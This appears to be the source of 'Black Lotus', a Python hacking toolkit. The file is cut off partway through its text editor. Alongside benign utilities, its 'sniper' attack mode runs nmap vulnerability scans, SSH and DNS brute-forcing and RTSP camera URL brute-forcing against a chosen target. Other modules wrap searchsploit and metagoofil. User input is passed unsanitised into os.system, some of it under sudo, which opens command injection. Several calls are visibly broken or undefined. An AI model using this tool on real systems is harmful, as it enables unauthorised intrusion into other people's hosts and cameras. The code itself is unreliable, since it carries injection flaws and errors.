#----------------------------------------------------------------------------------------------------------------------
def computer_diagnostics():
import os
try:
import psutil
except:
os.system("pip3 install psutil")
import psutil
import platform
from datetime import datetime
import time
def get_size(bytes, suffix="B"):
"""
Scale bytes to its proper format
e.g:
1253656 => '1.20MB'
1253656678 => '1.17GB'
"""
factor = 1024
for unit in ["", "K", "M", "G", "T", "P"]:
if bytes < factor:
return f"{bytes:.2f}{unit}{suffix}"
bytes /= factor
os.system('cls || clear')
print("\n\033[37m")
print(r"""
_______________________________________
|,----------[']------------------------.|
|| /||\ ||
|| / || \ Black Lotus ||
|| / || \ By ||
|| \ x||x / The Jes7er ||
|| ```` ||
|| ||
|| ||
||_____,_________________________,_____||
|)_____)-----.|/\ (B) =+ |O------(_T400(|
//-------|_____|=----------=|______|-------\
// _| _| _| _| _| _| _| _| _| _| _| _| _| _| \
// ___| _| _| _| _| _| _| _| _| _| _| _| | | \
|/ ___| _| _| _| _| _| _| _| _| _| _| _| ______| \
/ __| _| _| _| _| _| _| _| _| _| _| _| _| _| ___| \
/ _| _| _| _| ________________________| _| _| _| _| \
|------"--------------------------------------"-------|
`-----------------------------------------------------'
""")
print("\033[31mBlack Lotus Advanced Computer/Network Diagnostics Panel +\033[37m")
print("\033[31mLoading Configuration...")
time.sleep(2)
print("\n")
print("\033[37m="*40, "\033[31mSystem Information\033[37m", "="*40)
print(" ")
uname = platform.uname()
print(f"\033[37mSystem: \033[31m{uname.system}")
print(f"\033[37mNode Name: \033[31m{uname.node}")
print(f"\033[37mRelease: \033[31m{uname.release}")
print(f"\033[37mVersion: \033[31m{uname.version}")
print(f"\033[37mMachine: \033[31m{uname.machine}")
print(f"\033[37mProcessor:\033[31m {uname.processor}")
# Boot Time
print(" ")
print("\033[37m="*40, "\033[31mBoot Time\033[37m", "="*40)
boot_time_timestamp = psutil.boot_time()
bt = datetime.fromtimestamp(boot_time_timestamp)
print(f"\033[37mBoot Time:\033[31m {bt.year}/{bt.month}/{bt.day} | {bt.hour}:{bt.minute}:{bt.second}")
# let's print CPU information
print(" ")
print("\033[37m="*40, "\033[31mCPU Info\033[37m", "="*40)
# number of cores
print("\033[37mPhysical cores: \033[31m", psutil.cpu_count(logical=False))
print("\033[37mTotal cores: \033[31m", psutil.cpu_count(logical=True))
# CPU frequencies
cpufreq = psutil.cpu_freq()
print(f"\033[37mMax Frequency: \033[31m{cpufreq.max:.2f}Mhz")
print(f"\033[37mMin Frequency: \033[32m{cpufreq.min:.2f}Mhz")
print(f"\033[37mCurrent Frequency: \033[36m{cpufreq.current:.2f}Mhz")
# CPU usage
print("\033[37mCPU Usage Per Core:\033[31m")
for i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)):
print(f"\033[37mCore {i}: \033[31m{percentage}%")
print(f"\033[37mTotal CPU Usage: \033[31m{psutil.cpu_percent()}%")
# Memory Information
print(" ")
print("\033[37m="*40, "\033[31mMemory Information\033[37m", "="*40)
# get the memory details
print(" ")
svmem = psutil.virtual_memory()
print(f"\033[37mTotal: \033[31m{get_size(svmem.total)}")
print(f"\033[37mAvailable: \033[31m{get_size(svmem.available)}")
print(f"\033[37mUsed: \033[31m{get_size(svmem.used)}")
print(f"\033[37mPercentage: \033[31m{svmem.percent}%")
print(" ")
print("\033[37m="*46, "\033[34mSWAP\033[37m", "="*46)
print(" ")
# get the swap memory details (if exists)
swap = psutil.swap_memory()
print(f"\033[37mTotal: \033[31m{get_size(swap.total)}")
print(f"\033[37mFree: \033[32m{get_size(swap.free)}")
print(f"\033[37mUsed: \033[31m{get_size(swap.used)}")
print(f"\033[37mPercentage: \033[31m{swap.percent}%")
# Disk Information
print(" ")
print("\033[37m="*40, "\033[31mDisk Information\033[37m", "="*40)
print("\033[37mPartitions and Usage:\033[31m")
# get all disk partitions
partitions = psutil.disk_partitions()
for partition in partitions:
print(f"\033[37m=== \033[31mDevice\033[31m:\033[36m {partition.device} \033[37m===")
print(f" \033[37mMountpoint:\033[31m {partition.mountpoint}")
print(f" \033[37mFile system type: \033[31m{partition.fstype}")
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
except PermissionError:
continue
print(f" \033[37mTotal Size:\033[31m {get_size(partition_usage.total)}")
print(f" \033[37m Used: \033[31m{get_size(partition_usage.used)}")
print(f" \033[37m Free: \033[31m{get_size(partition_usage.free)}")
print(f" \033[37m Percentage: \033[31m{partition_usage.percent}%")
disk_io = psutil.disk_io_counters()
print(f"\033[37mTotal read:\033[31m {get_size(disk_io.read_bytes)}")
print(f"\033[37mTotal write: \033[31m{get_size(disk_io.write_bytes)}")
print(" ")
print("\033[37m="*40, "\033[31mNetwork Information\033[37m", "="*40)
if_addrs = psutil.net_if_addrs()
for interface_name, interface_addresses in if_addrs.items():
for address in interface_addresses:
print("\n\033[37m====================")
print(f"\033[34mInterface: \033[31m{interface_name} \033[37m")
print("\033[37m====================")
if str(address.family) == 'AddressFamily.AF_INET':
print(f" \033[37mIP Address: \033[31m{address.address}")
print(f" \033[37mNetmask: \033[31m{address.netmask}")
print(f" \033[37m Broadcast IP: \033[31m{address.broadcast}")
elif str(address.family) == 'AddressFamily.AF_PACKET':
print(f" \033[37mMAC Address: \033[31m{address.address}")
print(f" \033[37mNetmask: \033[31m{address.netmask}")
print(f" \033[37mBroadcast MAC: \033[31m{address.broadcast}")
print("\033[37m-------------------------------------------------------------------\033[39m")
public_ip_addr()
# get IO statistics since boot
net_io = psutil.net_io_counters()
try:
import GPUtil
from tabulate import tabulate
except:
os.system("pip3 install gputil")
os.system("pip3 install tabulate")
import GPUtil
from tabulate import tabulate
print("\n")
print("\033[37m="*40, "\033[31mGPU Details\033[37m", "="*40)
gpus = GPUtil.getGPUs()
list_gpus = []
for gpu in gpus:
gpu_id = gpu.id
gpu_name = gpu.name
gpu_load = f"{gpu.load*100}%"
gpu_free_memory = f"{gpu.memoryFree}MB"
gpu_used_memory = f"{gpu.memoryUsed}MB"
gpu_total_memory = f"{gpu.memoryTotal}MB"
gpu_temperature = f"{gpu.temperature} °C"
gpu_uuid = gpu.uuid
list_gpus.append((
gpu_id, gpu_name, gpu_load, gpu_free_memory, gpu_used_memory,
gpu_total_memory, gpu_temperature, gpu_uuid
))
print(tabulate(list_gpus, headers=("id", "name", "load", "free memory", "used memory", "total memory",
"temperature", "uuid")))
print(f"\n\033[37mTotal Bytes Sent: \033[36m{get_size(net_io.bytes_sent)}")
print(f"\033[37mTotal Bytes Received: \033[36m{get_size(net_io.bytes_recv)}")
print("\n")
#----------------------------------------------------------------------------------------------------------------------
def firewall_utilis():
import os
os.system("cls || clear")
firewall = True
while firewall:
a = input("""\033[31m
Megalodon's Firewall Panel
_______________________________________________
| |___|_____|_____|_____|_____|_____|_____|_____| Command List
| |_____|_____|_____|_____|_____|_____|_____|___ \033[37m ' enable ' Enable the firewall\033[31m
| |___|_____|_____|_____|_____|_____|_____|_____|\033[37m ' disable ' Disable the firewall \033[31m
| |_____|_____|_____|_____|_____|_____|_____|___ \033[37m ' allow ' Allow outgoing/incoming\033[31m
| |___|_____|_____|_____|_____|_____|_____|_____|\033[37m ' deny ' Deny outgoing/incoming \033[31m
`````````````````````````````````````````````````\033[37m ( allow and deny have more capabilities)\033[31m
| \033[37mUtilise Linux firewall\033[31m \033[37m |_See them by typing 'allow' or 'deny'\033[31m
| \033[37m 'delete' remove a rule (ex. delete allow 443 )\033[31m
| \033[37m 'exit' exit the Firewall panel\033[31m
|
| \033[37mConsole \033[31m/>\033[37m """)
os.system("cls || clear")
if a =="enable":
os.system("sudo systemctl start ufw")
os.system("sudo systemctl enable ufw")
print("\nFirewall enabled")
elif a =="disable":
os.system("sudo systemctl disable ufw")
os.system("sudo systemctl stop ufw")
print("\nFirewall disabled")
elif a=="allow":
b = input("Allow from 'incoming/outgoing/ip/port ?' /> ")
if b == "incoming":
os.system("sudo ufw default allow incoming")
elif b == "outgoing":
os.system("sudo ufw default allow outgoing")
elif b == "ip":
ip = input("Ip /> ")
os.system("sudo ufw allow from " + ip)
elif b=="port":
port = input("Port /> ")
os.system("sudo ufw allow " + port)
else:
print(b, " is not recognized as internal or external command")
print("Use 'incoming', 'outgoing', 'ip' or 'port' options")
elif a =="deny":
b = input("Deny from 'incoming/outgoing/ip/port ?' /> ")
if b == "incoming":
os.system("sudo ufw default deny incoming")
elif b == "outgoing":
os.system("sudo ufw default deny outgoing")
elif b == "ip":
ip = input("Ip /> ")
os.system("sudo ufw deny from " + ip)
elif b =="port":
port = input("Port /> ")
os.system("sudo ufw deny " + port)
else:
print(b, " is not recognized as internal or external command")
print("Use 'incoming', 'outgoing', 'ip' or 'port' options")
elif a =="delete":
rule = input("Rule /> ")
os.system("sudo ufw delete " + rule)
elif a =="exit":
firewall = False
else:
print(a, " is not recognized as internal or external command")
print("Use the commands that are on the main page!!")
print(""" ||
\/""")
#----------------------------------------------------------------------------------------------------------------------
def postman():
def sender():
import os
import socket
try:
import tqdm
except:
os.system("pip3 install tqdm")
SEPARATOR = " "
BUFFER_SIZE = 4096
host = input("Add the reciever Host to send \033[31m>\033[37m ")
port = int(input("Add the reciever port to send \033[31m>\033[37m "))
filename = input("Enter file path \033[31m>\033[37m ")
filesize = os.path.getsize(filename)
s = socket.socket()
print(f"[\033[34m+\033[37m] Connecting to \033[31m{host}\033[37m:\033[34m{port}\033[37m")
s.connect((host, port))
print("\033[37m[\033[34m+\033[37m] \033[36mConnection initialised!\033[37m")
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
progress = tqdm.tqdm(range(filesize), f"\033[37mSending \033[36m{filename}\033[37m", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
break
s.sendall(bytes_read)
progress.update(len(bytes_read))
s.closepostman()
def reciever():
import os
import socket
try:
import tqdm
except:
os.system("pip3 install tqdm")
SERVER_HOST = input("Add the sender Host \033[36m>\033[37m ")
SERVER_PORT = int(input("Add the sender port \033[36m>\033[37m "))
BUFFER_SIZE = 4096
SEPARATOR = " "
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(3)
print(f"[\033[34m*\033[37m] Listening as \033[34m{SERVER_HOST}\033[37m:\033[34m{SERVER_PORT}\033[37m")
client_socket, address = s.accept()
print(f"[\033[32m+\033[37m] {address} \033[36mis connected!\033[37m")
received = client_socket.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"\033[37mReceiving \033[34m{filename}\033[37m", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = client_socket.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
client_socket.close()
s.close()
def emailer():
try:
import smtplib
from email import encoders
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from bs4 import BeautifulSoup as bs
except:
os.system("pip3 install bs4")
email = input("Enter email credentials \033[31m>\033[37m ")
password = input("Enter email password \033[31m>\033[37m ")
FROM = input("Enter your email address \033[31m>\033[37m ")
TO = input("Enter reciever email \033[31m>\033[37m ")
subject = input("Enter the email subject \033[31m>\033[37m ")
msg = MIMEMultipart("alternative")
msg["From"] = FROM
msg["To"] = TO
msg["Subject"] = subject
html = input("Enter the email you want to send \033[31m>\033[37m ")
text = bs(html, "html.parser").text
text_part = MIMEText(text, "plain")
html_part = MIMEText(html, "html")
msg.attach(text_part)
msg.attach(html_part)
print(msg.as_string())
def send_mail(email, password, FROM, TO, msg):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(FROM, TO, msg.as_string())
server.quit()
def help():
print("""\033[37m
\033[31m..--""|
| |
| .---'\033[37m
(--.--\033[31m| |\033[37m-----------. \033[31mBlack Lotus file sender\033[37m
/ ) | \033[31m| |\033[37m \033[36mFunctions: \033[37m
|:. | \033[31m| |\033[37m | \033[31m+\033[36mFile sending/recieving \033[37m
|:. | \033[31m|\033[37mo\033[31m|\033[32m POSTMAN \033[37m | \033[31m+\033[36mEmail sending\033[37m
|:. | \033[31m`"`\033[37m |
|:. |_ __ __ _ __ / Command Description
` ` |=`|` send send files via TCP
|=_| recieve recieve files via TCP
|= | email send an email
exit exit the application
""")
import os
os.system("cls || clear")
help()
postman = True
while postman:
a = input("\033[37mBlack Lotus(\033[31mPostman\033[37m) \033[31m>\033[37m ")
if a =="send":
sender()
elif a =="recieve":
reciever()
elif a =="email":
emailer()
elif a =="exit":
postman = False
elif a =="help":
help()
else:
print(a, " not recognized as an internal or external command")
print("Use 'help' to see the command list")
#----------------------------------------------------------------------------------------------------------------------
def rtsp_camera():
import os
try:
import cv2
except:
os.system("pip install opencv-python")
try:
import cv2
except:
print("Cv2 Failed to initiate")
print("""\033[37m
██████████████████
██\033[32m▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓\033[37m██
██\033[32m▓▓▓▓▓▓▓▓▓▓▓▓\033[37m░░░░\033[32m▓▓\033[37m██\033[37m
██\033[32m▓▓▓▓▓▓▓▓\033[37m██████████████
██\033[32m▓▓▓▓▓▓\033[37m██\033[32m▓▓▓▓▓▓▓▓▓▓▓▓▓▓\033[37m██
██████████████████████████
██\033[33m▒▒▒▒▒▒\033[37m██░░░░░░░░░░██ \033[32mMegalodon's RTSP Camera Viewer\033[37m
██\033[33m▒▒▒▒\033[37m██░░██░░░░██░░██
██\033[33m▒▒\033[37m██░░░░██░░░░██░░██
████░░░░░░░░░░░░░░░░██
██████████████████████
████████\033[32m▒▒\033[37m▓▓▓▓\033[32m▒▒\033[37m▓▓\033[32m▒▒\033[37m▓▓\033[37m████████
██░░░░██\033[32m▒▒▒▒▒▒▒▒\033[37m▓▓\033[32m▒▒▒▒\033[37m██\033[37m░░░░\033[37m██
██░░░░██\033[32m▒▒▒▒▒▒▒▒\033[37m▓▓\033[32m▒▒▒▒\033[37m██\033[37m░░░░\033[37m██
██████████████████████████████
██\033[32m▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓\033[37m██
██\033[32m▓▓▓▓▓▓\033[37m██████\033[32m▓▓▓▓▓▓\033[37m██
██████████ ██████████
""")
cap = cv2.VideoCapture(input('\033[37mRTSP Link \033[31m> \033[37m'))
while True:
print('Initiating camera module...')
ret, frame = cap.read()
print('About to show frame of Video..')
cv2.imshow("Capturing",frame)
print('Running..')
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cap.release()
cv2.destroyAllWindows()
#----------------------------------------------------------------------------------------------------------------------
def email_va():
import re
regex = r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'
def check(email):
if(re.fullmatch(regex, email)):
print("\n'", email, "' is \033[32mValid\033[37m")
else:
print("\n'", email, "' is \033[31mInvalid\033[37m")
if __name__ == '__main__':
email = input("Enter email \033[31m>\033[37m ")
check(email)
#----------------------------------------------------------------------------------------------------------------------
def exploitdb():
import os
os.system('cls||clear')
exploit_search = True
while exploit_search:
print("\033[31m")
print(r"""
(
)
(
/\ .-----. /\
//\\/ ,,, \//\\
|/\| ,;;;;;, |/\|
//\\\;-----;///\\
// \/ . \/ \\
(| ,-_| \ | / |_-, |)
//`__\.-.-./__`\\ Use exploitdb to search for vulnerabilities
// /.-(() ())-.\ \\
(\ |) '---' (| /)
` (| |) `
\) (/ """)
a = input("\n\033[37mEnter vulnerability to scan \033[31m|>\033[36m ")
print("\033[37m")
try:
os.system("searchsploit " + a)
exploit_search = False
except:
os.system("sudo apt-get install exploitdb -y")
try:
os.system("searchsploit " + a)
exploit_search = False
except:
print("\033[31mError finding vulnerability or starting exploitdb...\033[37m")
exploit_search = False
#----------------------------------------------------------------------------------------------------------------------
def meta_scraper():
import os
os.system('cls||clear')
try:
print("""\033[31m
______
.-' `-.
.' `.
/ \
; ;`
| |;
; ;| Black Lotus hidden file scraper
'\ / ; using Edge-Security.com
\`. .' /
`.`-._____.-' .'
/ /`_____.-'
/ / /
/ / /
/ / / supported file types to scrape 'pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx'
/ / /
/ / /
/ / /
/ / /
/ / /
/ / /
\/_/ """)
domain = input("\033[31mEnter website domain \033[31m>\033[37m ")
file = input("\033[31mEnter File type to srape \033[31m>\033[37m ")
slimit = input("\033[31mEnter File search limit (default 200) \033[31m>\033[37m ")
dlimit = input("\033[31mEnter File download limit \033[31m>\033[37m ")
directory = input("\033[31mEnter Directory to save results \033[31m>\033[37m ")
command =("metagoofil -d " + str(domain) + " -t " + str(file) + " -l " + str(slimit) + " -n " + str(dlimit) + " -o " + str(directory))
print("\033[31m ")
os.system(command)
print("\033[31m ")
except:
print("\033[31mRequirements are not installed")
print("Installing them for you...\033[37m")
try:
import time
time.sleep(2)
os.system("sudo apt-get install metagoofil -y")
os.system('cls||clear')
print("Requirements installed succesfully")
print("Re run the programm!!")
except:
import sys
print("\033[31mProblem occured when installing metagoofil..")
print("EXITING!!\033[37m")
sys.exit()
#----------------------------------------------------------------------------------------------------------------------
def carnival_webbrowser():
try:
import tkinterweb
except:
os.system("sudo pip3 install tkinterweb")
import tkinterweb
import tkinter as tk
root = tk.Tk()
root.title("Black Lotus Browser")
root.geometry("900x450+200+150")
frame = tkinterweb.HtmlFrame(root)
frame.load_website('https://duckduckgo.com/')
frame.pack(fill="both", expand=True)
root.mainloop()
#----------------------------------------------------------------------------------------------------------------------
def sniper():
import socket
import re
import json
import sys
import os
regex = ("^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$")
from urllib.request import urlopen
os.system('cls||clear')
print("""\033[37m
=============================================
\033[32m
██████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
$\033[37mBy Th3 Jes7er
\033[37m=============================================""")
target = input("\033[37mEnter Target \033[32mIp Address\033[37m/\033[32mHostname \033[32m> \033[37m")
if(re.search(regex, target)):
ip_addr = target
else:
ip_addr = socket.gethostbyname(target)
url = 'http://ipinfo.io/' + str(ip_addr) + '/json'
response = urlopen(url)
data = json.load(response)
ip=data['ip']
org=data['org']
city = data['city']
country=data['country']
region=data['region']
location=data['loc']
hostname=data['hostname']
print('\033[37mIP: \033[32m', ip, '\033[37m\nRegion: \033[32m', region, '\033[37m\nCountry: \033[32m',country, '\033[37m\nCity: \033[32m',city, '\033[37m\nOrg: \033[32m', org, '\033[37m ')
print('\033[37mLocation: \033[32m', location)
print('\033[37mHostname: \033[32m', hostname)
print("\n\033[37m")
a = input("\033[37m[\033[32m+\033[37m]\033[37mEnter attack mode? \033[37m(\033[32my\033[37m/\033[32mn\033[37m) \033[32m> ")
if a == "n":
print("\033[37m[\033[33m!\033[37m]Attack Mode Aborted!")
sys.exit()
elif a == "y":
print("\033[37m[\033[32m*\033[37m]Loading Modules")
import time
animation = ["[\033[32m### \033[37m]","[\033[32m#### \033[37m]", "[\033[32m##### \033[37m]", "[\033[32m###### \033[37m]", "[\033[32m####### \033[37m]", "[\033[32m######## \033[37m]", "[\033[32m######### \033[37m]", "[\033[32m########## \033[37m]", "[\033[32m########### \033[37m]", "[\033[32m############\033[37m]"]
for i in range(len(animation)):
time.sleep(0.2)
sys.stdout.write("\r" + animation[i % len(animation)])
sys.stdout.flush()
print("\n")
attack_mode = True
print("Use 'help' to see commands")
option1 = 0
option_1 = ' '
option2 = ' '
option_2 = ' '
module_b = str('\033[32m> ')
module_error = ' '
while attack_mode:
b = input("\033[37m[\033[32m*\033[37m]Attack Mode {}".format(module_b))
if b == "use scanner/open_ports":
module_name = 'scanner/open_ports'
option1 = ip_addr
option_1 = "Your Remote Target"
option2 = 'exploit'
option_2 = "Start the Scanner"
module_b = '(\033[32mscanner\033[37m/\033[32mopen_ports\033[37m)\033[32m> '
print("\033[37m[\033[32m*\033[37m]Scanner Module '\033[32m", module_name, "\033[37m' Insercted!")
command = str("nmap -sV -Pn " + option1)
module_info = "Reveal open ports of the target ip"
module_error = "\033[37m[\033[33m*\033[37mTarget is blocking the scan or your firewall doesnt allow connection to specific ports"
elif b == "use scanner/vuln":
module_name = 'scanner/vuln'
option1 = ip_addr
option_1 = "Your Remote Target"
option2 = 'exploit'
option_2 = "Start the Scanner"
module_b = '(\033[32mscanner\033[37m/\033[32mvuln\033[37m)\033[32m> '
print("\033[37m[\033[32m*\033[37m]Scanner Module '\033[32m", module_name, "\033[37m' Insercted!")
command = str("nmap -Pn -sV --script vuln " + option1)
module_info = "Dig vulnerabilities about your target"
module_error = "\033[37m[\033[33m*\033[37mTarget is blocking the scan or your firewall doesnt allow connection to specific ports"
elif b == "use scanner/http_info":
module_name = 'scanner/http_info'
option1 = ip_addr
option_1 = "Your Remote Target"
option2 = 'exploit'
option_2 = "Start the Scanner"
module_b = '(\033[32mscanner\033[37m/\033[32mhttp_info\033[37m)\033[32m> '
print("\033[37m[\033[32m*\033[37m]Scanner Module '\033[32m", module_name, "\033[37m' Insercted!")
command = str("nmap -Pn -p80 --script http-grep " + option1)
module_info = "Return the e-mail and IP addresses found on all subpages discovered"
module_error = "\033[37m[\033[33m*\033[37mNot a Website"
elif b == "use bruteforce/ssh_brute":
module_name = 'bruteforce/ssh_brute'
option1 = ip_addr
option_1 = "Your Remote Target"
option2 = 'exploit'
option_2 = "Start the Scanner"
module_b = '(\033[32mbruteforce\033[37m/\033[32mssh_brute\033[37m)\033[32m> '
print("\033[37m[\033[32m*\033[37m]Bruteforce Module '\033[32m", module_name, "\033[37m' Insercted!")
command = str("nmap -Pn -p22 --script ssh-brute " + option1)
module_info = "Break target ssh service"
module_error = "\033[37m[\033[33m*\033[37mPort 22 is not open or it's blocking the attack"
elif b == "use bruteforce/dns_brute":
module_name = 'bruteforce/dns_brute'
option1 = ip_addr
option_1 = "Your Remote Target"
option2 = 'exploit'
option_2 = "Start the Scanner"
module_b = '(\033[32mbruteforce\033[37m/\033[32mdns_brute\033[37m)\033[32m> '
print("\033[37m[\033[32m*\033[37m]Bruteforce Module '\033[32m", module_name, "\033[37m' Insercted!")
command = str("nmap -Pn -p 80,443 --script dns-brute " + option1)
module_info = "Bruteforce for dns servers"
module_error = "\033[37m[\033[33m*\033[37mNot a webserver"
elif b == "use enumeration/rtsp_cam":
module_name = 'enumeration/rtsp_cam'
option1 = ip_addr
option_1 = "Your Remote Target"
option2 = 'exploit'
option_2 = "Start the Scanner"
module_b = '(\033[32menumeration\033[37m/\033[32mrtsp_cam\033[37m)\033[32m> '
print("\033[37m[\033[32m*\033[37m]Enumeration Module '\033[32m", module_name, "\033[37m' Insercted!")
command = str("nmap -Pn --script rtsp-url-brute -p 554 " + option1)
module_info = "Enumerate RTSP Camera media URLS"
module_error = "\033[37m[\033[33m*\033[37mTarget does not have a ip camera"
elif b == "use enumeration/http_dir":
module_name = 'enumeration/http_dir'
option1 = ip_addr
option_1 = "Your Remote Target"
option2 = 'exploit'
option_2 = "Start the Scanner"
module_b = '(\033[32menumeration\033[37m/\033[32mhttp_dir\033[37m)\033[32m> '
print("\033[37m[\033[32m*\033[37m]Enumeration Module '\033[32m", module_name, "\033[37m' Insercted!")
command = str("nmap -Pn --script http-enum -p 80,443 " + option1)
module_info = "Enumerate Website Directories"
module_error = "\033[37m[\033[33m*\033[37mNot a webserver"
elif b == "help":
print("""\033[32m
$\033[37mGeneral
\033[32mshow modules\033[37m show available modules
\033[32muse module_name\033[37m use specific module
\033[32mshow options\033[37m see specific module options
\033[32mexploit\033[37m run the attack
""")
elif b == "show modules":
print("""\033[32m
$\033[37mModules
Recon\033[32m:
\033[37m[\033[32m+\033[37m] scanner/open_ports
\033[37m[\033[32m+\033[37m] scanner/vuln
\033[37m[\033[32m+\033[37m] scanner/http_info
Bruteforce\033[32m:
\033[37m[\033[32m+\033[37m] bruteforce/ssh_brute
\033[37m[\033[32m+\033[37m] bruteforce/dns_brute
Enumeration\033[32m:
\033[37m[\033[32m+\033[37m] enumeration/rtsp_cam
\033[37m[\033[32m+\033[37m] enumeration/http_dir
More coming soon """)
elif b == "show options":
print("\n\033[37mModule \033[32m", module_name, "\033[37m information:")
print(module_info)
print("\033[37mOPTIONS PANEL \033[32m>>>>>>>>>>>>>>>>>>>>>>>>\033[37m")
print(" \033[32m$\033[37m", option1, " ", option_1)
print(" ")
print(" \033[32m$\033[37m", option2, " ", option_2)
print("\nTo refresh your options panel, type 'show options' ")
elif b == "clear":
os.system('clear')
elif b == "exit":
sys.exit()
elif b == "exploit":
print("\033[37m[\033[32m*\033[37m]Trying to attack \033[32m", hostname, "\033[37m ...")
print("\033[37m[\033[32m*\033[37m]Press Ctrl + C to Abort")
try:
os.system(command)
except:
print("\033[37m[\033[33m!\033[37m]Unable to Attack Target")
print(module_error)
print("\033[37m[\033[33m!\033[37m]ABORTING!!!")
else:
print(b, " not recognized as an internal or external command")
print("Use 'help' to see the command list")
#----------------------------------------------------------------------------------------------------------------------
def text_editor():
from tkinter import messagebox
from tkinter import filedialog
class TextEditor:
def __init__(self,root):
self.root = root
self.root.title("BLACK LOTUS TEXT EDITOR")
self.root.geometry("1000x500+200+150")
self.filename = None
self.title = StringVar()
self.status = StringVar()
self.titlebar = Label(self.root,textvariable=self.title,font=("monospace",12,"bold"),bg="black",fg="red",activebackground="cyan",bd=2,relief=GROOVE)
self.titlebar.pack(side=TOP,fill=BOTH)
self.settitle()
self.statusbar = Label(self.root,textvariable=self.status,font=("monospace",10),bg="black",fg="red",bd=2,relief=GROOVE)
self.statusbar.pack(side=BOTTOM,fill=BOTH)
self.status.set("Create programs, make the next hacking tool...")
self.menubar = Menu(self.root,font=("monospace",10,"bold"),bg="black",fg="red",activebackground="white")
self.root.config(menu=self.menubar)
self.filemenu = Menu(self.menubar,font=("monospace",10,"bold"),bg="black",fg="red",activebackground="white",tearoff=0)
self.filemenu.add_command(label="New",accelerator="Ctrl+N",command=self.newfile)
self.filemenu.add_command(label="Open",accelerator="Ctrl+O",command=self.openfile)
self.filemenu.add_command(label="Save",accelerator="Ctrl+S",command=self.savefile)
self.filemenu.add_command(label="Save As",accelerator="Ctrl+A",command=self.saveasfile)
self.filemenu.add_separator()
# Adding Exit window Command
self.filemenu.add_command(label="Exit",accelerator="Ctrl+E",command=self.exit)
# Cascading filemenu to menubar
self.menubar.add_cascade(label="File", menu=self.filemenu)
# Creating Edit Menu
self.editmenu = Menu(self.menubar,font=("monospace",10,"bold"),bg="black",fg="red",activebackground="white",tearoff=0)
# Adding Cut text Command
self.editmenu.add_command(label="Cut",accelerator="Ctrl+X",command=self.cut)
# Adding Copy text Command
self.editmenu.add_command(label="Copy",accelerator="Ctrl+C",command=self.copy)
# Adding Paste text command
self.editmenu.add_command(label="Paste",accelerator="Ctrl+V",command=self.paste)
# Adding Seprator
self.editmenu.add_separator()
# Adding Undo text Command
self.editmenu.add_command(label="Undo",accelerator="Ctrl+U",command=self.undo)
# Cascading editmenu to menubar
self.menubar.add_cascade(label="Edit", menu=self.editmenu)
# Creating Help Menu
self.helpmenu = Menu(self.menubar,font=("monospace",10,"bold"),bg="black",fg="red",activebackground="white",tearoff=0)
# Adding About Command
self.helpmenu.add_command(label="About",command=self.infoabout)
# Cascading helpmenu to menubar
self.menubar.add_cascade(label="Help", menu=self.helpmenu)
# Creating Scrollbar
scrol_y = Scrollbar(self.root,orient=VERTICAL)
# Creating Text Area
self.txtarea = Text(self.root,yscrollcommand=scrol_y.set,font=("monospace",15,"bold"),bg="black",fg="red",insertbackground="white",state="normal",relief=GROOVE)
# Packing scrollbar to root window
scrol_y.pack(side=RIGHT,fill=Y)
# Adding Scrollbar to text area
scrol_y.config(command=self.txtarea.yview)
# Packing Text Area to root window
self.txtarea.pack(fill=BOTH,expand=1)
# Calling shortcuts funtion
self.shortcuts()
# Defining settitle function
def settitle(self):
# Checking if Filename is not None
if self.filename:
# Updating Title as filename
self.title.set(self.filename)
else:
# Updating Title as Untitled
self.title.set("Untitled")
# Defining New file Function
def newfile(self,*args):
# Clearing the Text Area
self.txtarea.delete("1.0",END)
# Updating filename as None
self.filename = None
# Calling settitle funtion
self.settitle()
# updating status
self.status.set("New File Created")
# Defining Open File Funtion
def openfile(self,*args):
# Exception handling
try:
# Asking for file to open
self.filename = filedialog.askopenfilename(title = "Select file",filetypes = (("All Files","*.*"),("Text Files","*.txt"),("Python Files","*.py"),("Bat Files","*.bat"),("Executables","*.exe"),("Android Apps","*.apk")))
# checking if filename not none
if self.filename:
# opening file in readmode
infile = open(self.filename,"r")
# Clearing text area
self.txtarea.delete("1.0",END)
# Inserting data Line by line into text area
for line in infile:
self.txtarea.insert(END,line)
# Closing the file
infile.close()
# Calling Set title
self.settitle()
# Updating Status
self.status.set("Opened Successfully")
except Exception as e:
messagebox.showerror("Exception",e)
# Defining Save File Funtion
def savefile(self,*args):
# Exception handling
try:
# checking if filename not none
if self.filename:
# Reading the data from text area
data = self.txtarea.get("1.0",END)
# opening File in write mode
outfile = open(self.filename,"w")
# Writing Data into file
outfile.write(data)
# Closing File
outfile.close()
# Calling Set title
self.settitle()
# Updating Status
self.status.set("Saved Successfully")
else:
self.saveasfile()
except Exception as e:
messagebox.showerror("Exception",e)
# Defining Save As File Funtion
def saveasfile(self,*args):
# Exception handling
try:
# Asking for file name and type to save
